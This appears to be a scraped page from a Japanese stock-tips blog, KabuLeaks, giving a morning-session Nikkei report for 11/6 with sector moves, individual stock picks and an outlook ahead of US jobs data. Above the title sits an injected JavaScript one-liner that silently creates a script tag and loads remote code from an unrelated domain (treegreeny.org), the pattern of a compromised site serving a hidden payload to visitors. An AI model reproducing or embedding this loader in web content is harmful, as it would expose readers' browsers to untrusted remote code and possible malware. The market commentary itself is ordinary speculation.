;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【11/6 前引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【11/6 前引け】

前場の日経平均は89円高と小幅に3日続伸。前日の米市場は今晩の雇用統計を控えもみ合い。ただ、ドル買いからの円安基調から日経平均は小幅に続伸スタート。一時は100円超の上昇を見せた後は上げ幅を縮小。週末要因、今晩の雇用統計を控え利益確定売りに押された。業種別では、小売業、精密機器、医薬品、建設業などが上昇率上位に。一方、パルプ・紙、石油石炭製品、鉱業、ゴム製品などが下落率上位となった。

個別では、【6707】サンケン電気が16年3月期業績大幅下方修正も悪材料出尽くしの見方から大幅上昇。5日決算を好感された【4540】ツムラ、【6750】エコレムなども買い優勢となっているほか、エアバック関連の一角としてか【7208】カネミツが連日のストップ高に。また、がんペプチドワクチン「GRN-1201」第1相臨床試験を開始の【4594】グリーンペプタイド、「認知症モデルマウス」に関する全世界での独占実施許諾契約を締結したと発表した【2342】トランスジェニックなどの上昇も目立っている。

日経平均は直近上値の抵抗線として意識されていた19,200円を突破。明確に上抜けたわけではないが今後この水準での抵抗と軽くなったはず。目先は、今晩の米雇用統計次第ではあるが来週以降19,500円台。日足一つ目の窓埋めへ向かう可能性もありそうだ。後場に関しては引き続きもみ合い、雇用統計を控え利益確定売りからの上げ幅縮小、またはこう着感の強い相場展開となる可能性が高そうだ。